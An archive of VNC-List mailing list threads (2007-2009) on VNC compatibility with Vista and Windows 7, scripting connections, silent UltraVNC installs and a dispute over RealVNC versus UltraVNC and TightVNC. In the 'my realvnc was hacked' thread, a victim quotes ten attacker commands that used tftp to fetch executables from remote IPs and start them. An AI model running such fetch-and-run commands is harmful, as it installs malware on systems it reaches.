RE: Windows Vista / Windows 7
UltraVNC does work in Windows 7. Steve Bostedor http://www.vncscan.com VNC Management Made Simple -Original Message- From: vnc-list-boun...@realvnc.com [mailto:vnc-list-boun...@realvnc.com] On Behalf Of paresh masani Sent: Friday, July 24, 2009 9:10 AM To: John Aldrich Cc: vnc-list@realvnc.com Subject: Re: Windows Vista / Windows 7 I was in under impression that Real VNC doesn't work on Windows 7 and Tiger VNC does. Are you sure Tiger VNC doesn't work on Windows 7? Okey...lets have a general question. :-) Is there any VNC version that works on all platforms? I think some would able to give answer to this question. Thanks. On Fri, Jul 24, 2009 at 6:16 PM, John Aldrich wrote: > I have a test machine running Windows 7 that I'm planning to put in a semi- > production environment. Can anyone advise of a version of VNC that will > work on that machine? TigerVNC does not work, and I'm not sure if TightVNC > will work or not. I see that the paid-for version of RealVNC works on > Windows Vista, but I don't have a budget for that. > > Thanks! > > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list > ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Command-line connection to listening client from Vista machine? [now SCRIPTS]
Hello, It sounds like you're looking for the remote scripting features found in the VNCScan Enterprise Network Manager (www.vncscan.com). It is a VNC manager that also allows you to run scripts on the remote computers. Thanks! Steve -Original Message- From: vnc-list-boun...@realvnc.com [mailto:vnc-list-boun...@realvnc.com] On Behalf Of Philip Herlihy Sent: Sunday, July 05, 2009 11:31 AM To: 'Dale Eshelman' Cc: vnc-list@realvnc.com Subject: RE: Command-line connection to listening client from Vista machine? [now SCRIPTS] Sorry it's taken so long to respond - inundated with email lately! >From the way you frame your question it sounds as if scripting would be a new avenue for you. I'll give a brief summary here (for fear of exasperating experienced scripters). If you want more information, contact me direct. "Scripting" simply means storing a series of commands in a file and then running the file in one go. It's a close cousin to "programming" - loosely, programs are normally converted into a binary program by a "compiler", while scripts are usually "interpreted" line by line by some other running program. There are several "interpreters" available for Windows NT and its descendents. If you click Start, Run, then type CMD and click OK you'll get the familiar DOS-like command interpreter. With a few adjustments, anything you type in there can be stored in a script and run. If you put the following lines in a text file: DIR PAUSE .. and save that as mytest.cmd (not mytest.txt) you can double-click it and you'll see the black window appear with the output of the DIR command (which lists files) and a line inviting you to press any key to continue (at which point the screen disappears, which is why many of my scripts end with PAUSE!). If you Google for "NT Command Line" or "NT Command Scripting" you'll find loads of resources, and I rather like the book on NT Shell Scripting by Tim Hill (Macmillan 1998). I tend to use plain NT scripting for simple scripts. Other "interpreters" include "Windows Scripting Host" (usually already installed as part of Windows) which can interpret Visual Basic Script (VBS) commands, which are much more powerful than the rather creaky NT command-line interface. I tend to use VBS for more complex scripts, as the error-handling in NT scripting is rudimentary. VBS can also interact with Excel and other Office programs in a sophisticated way. More recently another interpreter has become available, and this promises something like the (awesome and underused) power of Unix scripting: PowerShell. Non-trivial, but immensely powerful. Some of Microsoft's flagship server products are expected to be administered mainly by Powershell scripting in their most recent versions. I got through two chapters of the book (still next to my workstation) before other work blew that away... How does this affect RealVNC users? Well, I provide the people I support with a simple script which they click to connect to my "listening client". I've set up port-forwarding at my end to allow port 5500 through to my preferred machine, and all Uncle Joe has to do to get my help is double-click the script's icon on their desktop. The advantage of this arrangement is that I can deal with firewall problems at my end without having to get them to fiddle with such mysteries at their end - it just works. I think it would also be possible to create a script which would check regularly for a working connection and reconnect if none existed, but that's for another day/month/year. In the past (XP and earlier) I've used a script which pops up an explanatory message box first (giving the option to cancel in case of a finger-fumble), then checks for a running server and then connects to my hard-coded address. I'll be happy to send you (or anyone else interested) a copy of this on request. The essential line is: WinVNC4.exe -connect .. where phils-domain-address is a domain name provided by my ISP, although an IP address will do. If you have a dynamic IP address, you can use DynDNS.com (free) to set up a domain name which will track your changing IP address (assuming you run the update client on at least one running machine). My original question was about Vista. I've found that including the term "-service" in the line above allows the connection to work (in the configurations I've set up), but I need to modify my script to check whether a server is running as a service or in user-mode, or not at all. Nevertheless, if you get the person needing support to check manually if the server is running (task manager or spot the icon) then that one line may be all you need in a simple script. Lord knows when I'll get round to doing the modification to my script, but I doubt it'll turn out to be any more difficult than what worked well for XP. I must say that the documentation for Command Line use of RealVNC is rather inadequate (or is it just hard-to-find?). Hope that's useful. Philip Herlihy
Re: Printing Locally
Peter, Unfortunately, this is not an available feature. RDP is a great protocol for that. Thank you, Steve Bostedor http://www.vncscan.com VNC Management Console On 1/22/08, Peter Ambrose <[EMAIL PROTECTED]> wrote: > > I am new to VNC and would like to know if i can print documents that are > on > the host server locally on my client computer? If so where would I set up > the > configuration? the host and client reside on 2 separate networks (and > different workgroups) > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list > -- Thank You, Steve Bostedor ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
Re: Cannot connect two PC's operating under the same Linksys router
Skip, Can you please provide us with the details of the inability to connect? What steps were taken with the VNC product? Are there any errors? Thank you, Steve Bostedor http://www.bozteck.com VNC Management Made Simple On 10/5/07 9:45 PM, "skip hicks" <[EMAIL PROTECTED]> wrote: > After digging through all the old posts and spending approximately 20 hours > trying to establish a connection I cannot for the life of me determine what > the solution would be. So I bow to the wisdom that is this list and ask for > your help. > I have 2 home computers, both running Windows XP Pro, one a IBM laptop and one > an older Compaq PC. I have an internal wireless card in the IBM that works > fine and even allows me to 'view' a remote computer outside of my home > perfectly. > The desktop is using a Netgear wireless WG111 v.2 USB wireless adapter. I'm > using the current (4.1) version of RealVNC. > My problem is that I cannot seem to link the 2 computers at home (both under a > linksys wrt54g), I've updated my firmware on the router to the current linksys > version and attempted virtually every possible combination I could think of. > I've disabled all firewalls & antivirus software and have even been able to > network the two hard drives (via Windows network wizard) and connect with > Window's Remote Desktop just fine. But I CANNOT create a connection with > RealVNC (or PcAnywhere for that matter), no matter what I do. > I have ensured the fast 'user switching' is disabled and both computers access > the 'net' just fine. > All attempts time out. I'm trying to use the laptop to remotely access the > desktop and this is now more of a personal battle than anything. > I am at a complete loss. Can anyone else provide a workable solution? It's now > more a case of curiosity rather than any necessity but I hate being defeated > by technology. ;-) > I thank you in advance. > > _ > Help yourself to FREE treats served up daily at the Messenger Cafi. Stop by > today. > http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLt > agline > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
Re: Ultravnc Silent Service Install?
Hi Tony, We've created a free UltraVNC silent installer that does not pop up a message. You may want to just use ours and save the trouble. you can find it at http://www.vncscan.com/vs/Download.htm. Thank you, Steve Bostedor Bozteck VNC Enterprise Network Manager (VENM) http://www.vncscan.com On 8/23/07, Tony <[EMAIL PROTECTED]> wrote: > > I've created my own custom installer with nsis so we can push out UltraVnc > remotely and include various settings such as NT groups. > > When is start the service silently ( "winvnc.exe -installS" ) i still get > a > popup that the service is installed. Is there any way to get rid of that > dialog so i dont hassle the users? ( and getting rid of the removal popup > would be nice too, but not as important ) > > I was thinking in the past "-installs" ( as opposed to "-install" ) did > this? > > The whole goal is to not bother the users, at all. > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list > -- Thank you, Steve Bostedor Bozteck Software http://www.vncscan.com The Leader in VNC-Based Remote Management ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC vista
You may want to have a look at the progress of the UltraVNC project at http://www.ultravnc.com. The version 1.0.3 RC3 runs well under Vista with a few minor bugs still needing to be worked out. I have created a scriptable version of it discussed at http://talk.vncscan.com/forums/1913/ShowThread.aspx#1913 Steve Bostedor http://www.vncscan.com Take Control Of Your Network! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of L.M. Sent: Tuesday, June 05, 2007 9:43 AM To: evets dranem Cc: vnc-list@realvnc.com Subject: Re: VNC vista Ohhh, ok, sorry! Thank you. Regards, -- Leon - Original Message - From: "evets dranem" <[EMAIL PROTECTED]> To: "L.M." <[EMAIL PROTECTED]> Sent: Tuesday, June 05, 2007 3:43 PM Subject: Re: VNC vista > as has been mentioned on this list may 14 2007 > =-=-=-=-=-=-=-=-=-=-=- > May 14 -- Hi Kerri, > > VNC Free Edition is not currently Vista-compatible. > > VNC Personal Edition will disconnect on logoff at present, but future > releases will provide better Vista compatibility. > > Cheers, > Wez @ RealVNC Ltd > >> -Original Message- >> From: [EMAIL PROTECTED] >> [mailto:[EMAIL PROTECTED] On Behalf Of Kerri Hallbeck >> Sent: 14 May 2007 22:55 >> To: vnc-list@realvnc.com >> Subject: log off user on vista using personal edition >> >> So, we try to log off user on personal edition (trial) on Ultimate Vista. >> It stops the session. on all the other OS using free version it just >> goes to the log in screen. >> >> How can we get around this? >> >> If it is a problem with the personal edition I'd like to know before we >> buy it. >> >> Kerri > =-=-=-=-=-=-=-=-=-=-=- > and --- > Jeff, > > All downloads are full versions, not trials. > > You can obtain a 30-day trial license from > http://www.realvnc.com/products/enterprise > > Regards, > Wez @ RealVNC Ltd > > =-=-=-=-=-=-=-=-=-=-=- > L.M. wrote: > >> Hi, >> >> Well, this morning, I tried connecting to a VNC server running >> on a Windows Vista Station and it disconnected so often that >> I abandonned. Moreover, the VNC server configuration autho- >> rized me to take full control of the Vista machine but in reality >> I couldn't. >> >> I know it doesn't help you Pankaj but I took advantage of your >> intervention to mention my problem which is close to yours... >> >> Regards, >> -- >> Leon >> >> - Original Message - From: "Gupta, Pankaj G" <[EMAIL PROTECTED]> >> To: >> Sent: Tuesday, June 05, 2007 12:30 PM >> Subject: VNC disconnects >> >>> Hi, >>> >>> I do work from home and using a VPN connection. When i connect my VNC it >>> hangs/disconnects after sometime, my VPN connection remain as it is and >>> that is not disconnected. >>> I am not sure if system administrators has done anything or i need to >>> something from my side. This used to work a week before. >>> >>> Where can be the problem ? and What possibly has been changed ? >>> >>> Thanks, >>> -Pankaj ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: UltraVNC with Vista Support
I'm not sure what's so magical about using the Registry. Everyone hates using the registry because it is platform-specific and requires more coding to do than just grabbing the settings from a file in the current directory. It's much easier to do cross-platform code if you keep away from using the already bloated Windows registry to store your data. UltraVNC is a Windows-only flavor of VNC but the VNC code base is meant to run on all platforms. It makes little sense to stick things in the Registry and require the extra coding for each platform. - Steve Bostedor -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Long, Phillip GOSS Sent: Thursday, May 17, 2007 1:23 PM To: vnc-list@realvnc.com Subject: RE: VNCSCAN: UltraVNC with Vista Support Yury Averkiev wrote: > Also worth mentioning that they made a very controversial decision to > starting using an .ini file instead of windows registry, which in my > opinion was not very bright idea. I really hope RealVNC won't choose > this path. And the UltraVNC's new special Vista helper service is a > proprietary one, so there is nothing much Real/TightVNC people could > look at. > > Kindest regards, > Yury Averkiev > SmartCode Solutions - Network Management Without Barriers > > > -Original Message- > > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On > > Behalf Of Steve Bostedor > > Sent: Thursday, 17 May, 2007 9:11 PM > > To: vnc-list@realvnc.com > > Subject: VNCSCAN: UltraVNC with Vista Support > > > > The UltraVNC team has been working on a release of their VNC client/server > > for Windows Vista and have finally released their first beta. As far as I > > can tell, they are the first free flavor of VNC to release something that > > works in Vista as a service. > > > > The forum thread for this beta release is here: http://tinyurl.com/24kuv5 > > > > Hopefully, the authors of RealVNC and TightVNC can look at their progress > > and get something similar done with their open source versions of VNC. > > > > Thank you, > > > > Steve Bostedor > > http://www.vncscan.com > > VNC Management Made Simple Using a .ini file is not a _standard_ way to set preferences in Windows, but by decoupling the application from the Registry, it is less likely to fall prey to an inadvertent Registry change (and we all know that That Never Happens, right?). My gut feeling is that if the Registry is currently being used, it should continue to be used (fewer coding changes), but any new code is, IMHO, better released without using the Registry. Goss ... Innovation for Business NOTICE: This e-mail and any attachment(s) may contain confidential and proprietary information of Goss International Corporation and/or its subsidiaries and may be legally privileged. This e-mail is intended solely for the addressee. If you are not the addressee, dissemination, copying or other use of this e-mail or any of its content is strictly prohibited and may be unlawful. If you are not the intended recipient please inform the sender immediately and destroy the e-mail and any copies. All liability for viruses is excluded to the fullest extent permitted by law. Any views expressed in this message are those of the individual sender. No contract may be construed by this e-mail. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list __ NOD32 2274 (20070517) Information __ This message was checked by NOD32 antivirus system. http://www.eset.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
UltraVNC with Vista Support
The UltraVNC team has been working on a release of their VNC client/server for Windows Vista and have finally released their first beta. As far as I can tell, they are the first free flavor of VNC to release something that works in Vista as a service. The forum thread for this beta release is here: http://tinyurl.com/24kuv5 Hopefully, the authors of RealVNC and TightVNC can look at their progress and get something similar done with their open source versions of VNC. Thank you, Steve Bostedor http://www.vncscan.com VNC Management Made Simple ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What happened with realvnc.com website?
http://www.vnc.com seems to still be up if you need to access their website. - Steve -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Steve Bostedor Sent: Tuesday, March 13, 2007 8:25 PM To: 'Alex Pelts'; 'RealVNC List (E-mail)' Subject: RE: What happened with realvnc.com website? I see it, too. Looks like a temporary outage. - Steve Bostedor Bozteck VNC Management http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Alex Pelts Sent: Tuesday, March 13, 2007 12:39 PM To: RealVNC List (E-mail) Subject: What happened with realvnc.com website? I go there and get to some isp site which is half broken. Is anyone else experiences this? Regards, Alex ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What happened with realvnc.com website?
I see it, too. Looks like a temporary outage. - Steve Bostedor Bozteck VNC Management http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Alex Pelts Sent: Tuesday, March 13, 2007 12:39 PM To: RealVNC List (E-mail) Subject: What happened with realvnc.com website? I go there and get to some isp site which is half broken. Is anyone else experiences this? Regards, Alex ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: my realvnc was hacked
Another good list to subscribe to is the Bugtraq list at http://www.securityfocus.com/. That list will let you know right away of any security flaws found in just about any serious application. Thank you, Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Alex Pelts Sent: Friday, February 09, 2007 9:24 PM To: Information Technology Dpt. Crafta Cc: vnc-list@realvnc.com Subject: Re: my realvnc was hacked 1. Google for the exe files but most likely you will not get much. To remove them run antivirus package (Antivir is free and good). Before running it disable system restore in case the files are in windows directory. 2. Subscribe to vnc-announce-list to which this sort of information is posted. here is the link to relevant posting http://www.realvnc.com/pipermail/vnc-announce/2006.txt Regards, Alex Information Technology Dpt. Crafta wrote: > Hi, I was a victim of the "The vulnerability is caused due to an error > within the handling of VNC password authentication requests." > This is my official note of the case: > http://www.tek-tips.com/viewthread.cfm?qid=1330302&page=1 > This is the short explanation of what is that RealVNC vulnerability: > http://secunia.com/advisories/20107/ > > I have two questions: > > 1- Someone introduced without password to my realvnc server and executed > these commands: > %comspec% /c tftp -i 69.120.95.217 GET krqqr.exe & start krqqr > %comspec% /c tftp -i 69.120.95.217 GET khtv.exe & start khtv > %comspec% /c tftp -i 83.226.184.184 GET bjgpbrwf.exe & start bjgpbrwf > %comspec% /c tftp -i 83.226.184.184 GET dnyxl.exe & start dnyxl > %comspec% /c tftp -i 83.226.184.184 GET xixy.exe & start xixy > %comspec% /c tftp -i 83.226.184.184 GET cavm.exe & start cavm > %comspec% /c tftp -i 83.226.184.184 GET srsf.exe & start srsf > %comspec% /c tftp -i 83.226.184.184 GET odihiz.exe & start odihiz > %comspec% /c tftp -i 24.205.47.33 GET ltahq.exe & start ltahq > %comspec% /c tftp -i 24.205.47.33 GET jalqi.exe & start jalqi > > Does anyone knows what the hack are those? > > 2.- How can I be notified by email of the RealVNC vulnerabilities in > order do better secure practices? > > Thanks in advance > ALDO > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec)
I don't think that it's ridiculous but I do agree that it's not all inclusive and there are some demographics that are not accounted for and that may affect the accuracy of the survey. You guys can all make a vote if you'd like, though. It's been on the page http://www.vncscan.com/vs/Download.htm for about 6 months and I plan to keep it there for a few more months. I placed it there to get some feedback about what brand of VNC we should spend more time making VNCScan cater to most. I am going to duck out of this debate, now. I feel like, although I meant well, I may be overstepping my bounds because this list is owned by RealVNC and this can easily be taken as a negative attack on their product and that is not what I wanted to do at all. I have high respect for James and his RealVNC product and I recommend their paid version to anyone who needs those features. - Steve Bostedor -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Adrian Phillips Sent: Saturday, February 03, 2007 2:48 AM To: vnc-list@realvnc.com Subject: RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec) >>>>> "Steve" == Steve Bostedor <[EMAIL PROTECTED]> writes: Steve> James, Let me start by pointing to a survey that I have on Steve> the Bozteck website. Steve> http://www.vncscan.com/vs/asppollx/results.asp Steve> It shows that UltraVNC and TightVNC are installed on far Steve> more systems than RealVNC. They should not be downplayed Sorry, but this is ridiculous. Using a survey to come up with such a conclusion is silly. There are quite possibly thousands, perhaps 10s of thousands of Linux installations that use vnc (either realvnc or tightvnc) none of which would appear in this survey. We have been using vnc at work (the AT&T version before) and the realvnc more recently for years and my (and people at work who use vnc) "vote" is not in this survey. Otherwise I agree with Kelly F. Hickel's post. Sincerely, Adrian Phillips -- Who really wrote the works of William Shakespeare ? http://www.pbs.org/wgbh/pages/frontline/shakespeare/ ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec)
Ok. I'm open to the option that I could be wrong. :) - Steve -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Adrian Phillips Sent: Saturday, February 03, 2007 2:48 AM To: vnc-list@realvnc.com Subject: RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec) >>>>> "Steve" == Steve Bostedor <[EMAIL PROTECTED]> writes: Steve> James, Let me start by pointing to a survey that I have on Steve> the Bozteck website. Steve> http://www.vncscan.com/vs/asppollx/results.asp Steve> It shows that UltraVNC and TightVNC are installed on far Steve> more systems than RealVNC. They should not be downplayed Sorry, but this is ridiculous. Using a survey to come up with such a conclusion is silly. There are quite possibly thousands, perhaps 10s of thousands of Linux installations that use vnc (either realvnc or tightvnc) none of which would appear in this survey. We have been using vnc at work (the AT&T version before) and the realvnc more recently for years and my (and people at work who use vnc) "vote" is not in this survey. Otherwise I agree with Kelly F. Hickel's post. Sincerely, Adrian Phillips -- Who really wrote the works of William Shakespeare ? http://www.pbs.org/wgbh/pages/frontline/shakespeare/ ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Maybe Spam: RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec)
James, Let me start by pointing to a survey that I have on the Bozteck website. http://www.vncscan.com/vs/asppollx/results.asp It shows that UltraVNC and TightVNC are installed on far more systems than RealVNC. They should not be downplayed as just hobby projects with this much of the user base using their product. I think that all three brands are outstanding but if I wanted to be sure that my contributions were going to make it to the most VNC users, I would look in their direction first. I don't mean to turn this into this big endorsement for TightVNC and UltraVNC. I have no direct association with any of the VNC projects so I really have no bias in that regard. All three of these flavors or brands of VNC have their strengths and weaknesses. That's the beauty of open source and the options that it creates. Thank you for the response and please don't take this as anything negative. I think that the work that you've done with VNC is commendable. I defend my use of the word "brand" with the dictionary definition: brand (brbnd) n. 1. 1. A trademark or distinctive name identifying a product or a manufacturer. 2. A product line so identified: a popular brand of soap. 3. A distinctive category; a particular kind: a brand of comedy that I do not care for. 2. A mark indicating identity or ownership, burned on the hide of an animal with a hot iron. UltraVNC an TightVNC are brands by definition just like Redhat and Fedora are brand names of the open source project named Linux. They identify their spin-off of VNC by name. You don't need to make money from something to be a brand. :) I understand that you want to create the perception that it's not really VNC unless it's on your new code base. I do contest, however, that there is a thriving open source project started by AT&T in 1999 and the project is named VNC. You where one of the developers that worked on the project back then. You have the respect of us all for your contributions to the project. While it was open source, TightVNC and UltraVNC spawned off with compatible versions with new features because the guys at AT&T where not adding those features fast enough. You can still take a standard VNC 3.x (even the one from RealVNC) client and connect to an UltraVNC server and visa-versa. There is still 100% backwards compatibility. When AT&T shut the project down and you guys started your own company called RealVNC, you created a new proprietary code base that was no longer covered under the GPL. You still have the free one and that is maintained completely by your new company, but you also have your proprietary closed source versions that you now sell. I like this because it gives you guys some funds to make the product even better! The versions that you currently sell (although branded as REAL VNC) are no longer VNC compatible with the original VNC project. The UltraVNC and TightVNC flavors are still 100% compatible with the original VNC code base while still supporting all of their new features that you mentioned. I would be more apt to agree with you, James, if TightVNC and UltraVNC where just some small "hobby projects" that didn't have many users but the reality is that they have a larger user base than RealVNC does and that deserves recognition. I hope that I havent offended you by contesting the point of view. Steve Bostedor Bozteck Solutions http://www.bozteck.com -- Take control of your network with VNCScan Enterprise Network Manager Download: http://www.vncscan.com -- -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Friday, February 02, 2007 4:30 PM To: Steve Bostedor Cc: vnc-list@realvnc.com Subject: Maybe Spam: RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec) Steve, You've both missed the point and are unfortunately mistaken. It's not a question of "branding", it's a question of protocol compatibility. The UltraVNC project does not retain compatibility with the RFB protocol, which is why it isn't compatible with standard VNC releases. By contrast, the TightVNC hobby project has been able to proceed, adding custom features to our core system and using their own custom protocol elemants while retaining compatiility with the standard. As far as "branding" is concerned, please bear in mind that VNC is developed by RealVNC Ltd. TightVNC and UltraVNC are projects based on our codebase, not "brands" of our software. I hope this clarifies your misunderstanding of the situation. Your customers will be happier knowing that your products use fully VNC-compatible software rather than software that breaks compatibility with the protocol! Cheer
RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec)
James and everyone else, I agree that it's not RealVNC 4.x brand compatible but it is VNC compatible in the sense that it is using a VNC protocol and works with any VNC that is not the RealVNC brand 4.x base. That's like saying that it's not Microsoft Windows compatible unless it runs on Windows Vista. :) UltraVNC and TightVNC are very popular versions of VNC that are actively developed and very feature rich thanks to these "hobbiests". They should not be ignored simply because they don't use the same code base as the RealVNC branded 4.x code base. I don't mean to be the annoying accuracy cop here but this distinction needs to be clear. UltraVNC and RightVNC are RFB compatible VNC servers that branch from and improve upon the original 3.x code base while maintaining backwards compatibility (unlike the 4.x code base). Steve Bostedor Bozteck Solutions http://www.bozteck.com -- Take control of your network with VNCScan Enterprise Network Manager Download: http://www.vncscan.com -- -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Friday, February 02, 2007 1:01 PM To: 'Steve Bostedor'; vnc-list@realvnc.com Subject: RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec) Hi Steve, As I pointed out in my original response, the problem with them having patched against the UltraVNC hobby project is that that's not VNC-compatible. Better to product patches against something VNC-compatible, or, better still, the standard VNC codebase, if you want people to be able to use it! Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > Sent: 02 February 2007 17:29 > To: 'James Weatherall'; 'Hitachi Systems & Services, Ltd.'; > vnc-list@realvnc.com > Subject: RE: Hitachi-ZYWRLE Encoding Number (was RE: > Introduction of New VNC codec) > > Why not patch against both? The UltraVNC and TightVNC > flavors are just as > popular as RealVNC. Why limit yourself to just one version of VNC? > > > Steve Bostedor > Bozteck Solutions > http://www.bozteck.com > > -- >Take control of your network with >VNCScan Enterprise Network Manager >Download: http://www.vncscan.com > -- > > > > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On > Behalf Of James Weatherall > Sent: Friday, February 02, 2007 7:31 AM > To: 'Hitachi Systems & Services, Ltd.'; vnc-list@realvnc.com > Subject: Hitachi-ZYWRLE Encoding Number (was RE: Introduction > of New VNC > codec) > > Hi Noriaki-san, > > I've had encoding number 17 allocated to Hitachi ZYWRLE - using this > encoding number will ensure compatibility with standard VNC and > VNC-compatible releases. The next release of the VNC codebase will > therefore include an encoding "place-holder": > > const int encoding3rdPartyHitachiZYWRLE = 17; > > > >I note that you have a version of the UltraVNC hobby project > > patched with > > >your scheme. Since the UltraVNC project is not > > VNC-compatible, you will > > >need to switch to a VNC-compatible codebase if you want to > > provides VNC > > >viewers & servers with your custom encoding. > > > > You say that I need to make patch for RealVNC server, don't you? > > (Sorry to my poor understanding to English...) > > Not necessarily - which particular VNC version, or VNC-based > software, you'd > like to patch your encoding against is entirely up to you. I'd would > recommend either patching against the standard VNC release, or a > VNC-compatible project such as TightVNC. > > Regards, > > -- > Dr James Weatherall > Chief Engineering Officer - http://www.realvnc.com - RealVNC Ltd > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec)
Why not patch against both? The UltraVNC and TightVNC flavors are just as popular as RealVNC. Why limit yourself to just one version of VNC? Steve Bostedor Bozteck Solutions http://www.bozteck.com -- Take control of your network with VNCScan Enterprise Network Manager Download: http://www.vncscan.com -- -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of James Weatherall Sent: Friday, February 02, 2007 7:31 AM To: 'Hitachi Systems & Services, Ltd.'; vnc-list@realvnc.com Subject: Hitachi-ZYWRLE Encoding Number (was RE: Introduction of New VNC codec) Hi Noriaki-san, I've had encoding number 17 allocated to Hitachi ZYWRLE - using this encoding number will ensure compatibility with standard VNC and VNC-compatible releases. The next release of the VNC codebase will therefore include an encoding "place-holder": const int encoding3rdPartyHitachiZYWRLE = 17; > >I note that you have a version of the UltraVNC hobby project > patched with > >your scheme. Since the UltraVNC project is not > VNC-compatible, you will > >need to switch to a VNC-compatible codebase if you want to > provides VNC > >viewers & servers with your custom encoding. > > You say that I need to make patch for RealVNC server, don't you? > (Sorry to my poor understanding to English...) Not necessarily - which particular VNC version, or VNC-based software, you'd like to patch your encoding against is entirely up to you. I'd would recommend either patching against the standard VNC release, or a VNC-compatible project such as TightVNC. Regards, -- Dr James Weatherall Chief Engineering Officer - http://www.realvnc.com - RealVNC Ltd ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: proof of concept
You should have a look at http://cdot.senecac.on.ca/projects/vncsharp/ Thank you, Steve Bostedor http://www.vncscan.com VNC Management made simple -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of bikash shrestha Sent: Wednesday, January 03, 2007 6:07 AM To: VNC-List@realvnc.com Subject: proof of concept I am doing my project on VNC client with C# and dot net framework. i have written rough pseudocode on it and now i am trying to write proof of concept, but could not get enough resources on the internet. If anyone can help me on it, i would be very grateful ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RealVNC on Vista
